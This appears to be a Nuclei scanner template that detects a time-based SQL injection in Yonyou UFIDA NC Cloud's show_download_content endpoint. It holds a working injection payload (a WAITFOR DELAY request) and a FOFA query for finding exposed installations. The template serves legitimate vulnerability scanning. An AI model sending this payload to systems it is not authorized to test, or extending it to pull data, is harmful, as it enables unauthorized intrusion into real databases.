id: yonyou-ufida-cloud-sqli

info:
  name: UFIDA NC Cloud - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The NC-Cloud system's show_download_content interface has a SQL injection vulnerability, which allows attackers to manipulate the database through maliciously constructed SQL statements, resulting in data leaks, tampering or destruction, and seriously threatening system security.
  reference:
    - https://blog.csdn.net/xc_214/article/details/141884644
  metadata:
    max-request: 1
    verified: true
    fofa-query: app="用友-NC-Cloud"
  tags: time-based-sqli,sqli,yonyou,ufida

http:
  - raw:
      - |
        @timeout 30s
        GET /ebvp/infopub/show_download_content;.js?id=1';WAITFOR+DELAY+'0:0:6'-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 500'
          - 'contains(tolower(body), "yonyou")'
        condition: and
# digest: 4a0a0047304502210092eac7ed9fa6e586bebc0b354b3b6a6f66ba7d63b99828fa644bb2a09d57bcb80220250d20707d83c2389e17c277f4fd97d137a122fb64a3d85ce86d99a763868804:922c64590222798bb761d5b6d8e72950